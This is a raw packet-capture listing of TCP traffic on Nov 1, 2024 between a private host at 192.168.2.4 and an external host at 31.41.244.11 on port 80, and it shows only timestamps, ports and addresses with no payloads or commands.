Nov 1, 2024 10:57:09.897494078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897500992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897521019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897531986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897545099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897550106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897566080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897574902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897582054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897591114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897598028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897612095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897613049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897629976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897630930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897646904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897654057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897655964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897671938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897679090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897686958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897697926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897697926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897702932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897711039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897718906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897733927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897733927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897747993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897749901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897768974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897769928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897784948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897797108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897800922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897819996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897825003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897844076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897849083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897859097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897859097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897876024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897881985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897896051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897908926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897913933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897917986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897927046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.897942066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.897965908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.898016930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898030996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898046970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898061991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.898091078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.898143053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898160934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898180962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898191929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.898202896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898219109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898220062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.898231983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.898242950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.898273945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004597902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004626989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004662991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004688025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004707098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004735947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004745960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004755974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004776955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004785061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004816055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004837036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004853010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004870892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004879951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004887104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004899979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004908085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004934072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004939079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004949093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004964113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.004978895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.004987955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005007029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005223036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005249023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005268097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005271912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005286932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005286932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005315065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005326033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005335093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005340099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005379915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005381107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005395889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005410910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005424976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005455017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005584955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005599976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005614042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005635977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005649090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005783081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005808115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005825996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005831003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005842924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005850077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005870104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005884886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005887985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005904913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005923986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005938053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.005939007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.005980968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006130934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006153107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006167889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006175995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006191015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006211996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006213903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006228924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006254911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006277084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006285906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006299973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006315947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006328106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006336927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006342888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006347895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006367922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006381989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006382942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006397963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006407022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006448030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006561041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006611109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006634951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006649971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006673098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006681919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006695032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006700039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006711006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006716967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006731033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006736994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006748915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006755114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006773949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006777048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006793022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006793976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006808996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006818056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006825924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006831884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006841898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006850004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006871939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006880999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006892920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006938934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.006948948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006963015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006978035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.006989956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007009029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007021904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007045984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007060051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007067919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007086039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007100105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007105112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007116079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007131100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007158995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007208109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007222891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007237911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007251024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007255077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007282019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007309914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007329941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007380009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007386923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007433891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007653952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007698059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007699013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007714033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007742882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007755041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007776976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007792950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007802963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007822037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007829905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007838964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007854939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007855892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007870913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007884026 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007884979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007904053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007905960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007917881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007927895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007953882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.007968903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.007985115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008008003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008023024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008035898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008038044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008069992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008088112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008222103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008249998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008265018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008270979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008286953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008308887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008318901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008342981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008358002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008359909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008373022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008378983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008397102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008414984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008450985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008474112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008490086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008493900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008505106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008517981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008531094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008538008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008543968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008558035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008558989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008582115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008589029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008590937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008606911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008611917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008621931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008630991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008645058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008651018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008670092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008672953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008691072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008693933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008718014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008725882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008733988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008761883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008761883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008770943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008785009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008786917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008801937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008810997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008819103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008830070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008847952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008876085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008896112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008908987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008936882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.008960962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008974075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.008995056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009013891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009033918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009048939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009061098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009100914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009100914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009856939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009872913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009887934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009903908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009912014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009917021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009927988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009938002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009948015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009958029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009967089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009974957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.009984016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.009996891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010014057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010023117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010032892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010039091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010054111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010063887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010071039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010091066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010099888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010122061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010126114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010142088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010157108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010164976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010173082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010183096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010205984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010210991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010226011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010236979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010251999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010253906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010267019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010277033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010282993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010297060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010298967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010313988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.010314941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.010337114 CET	49820	80	192.168.2.4	31.41.244.11
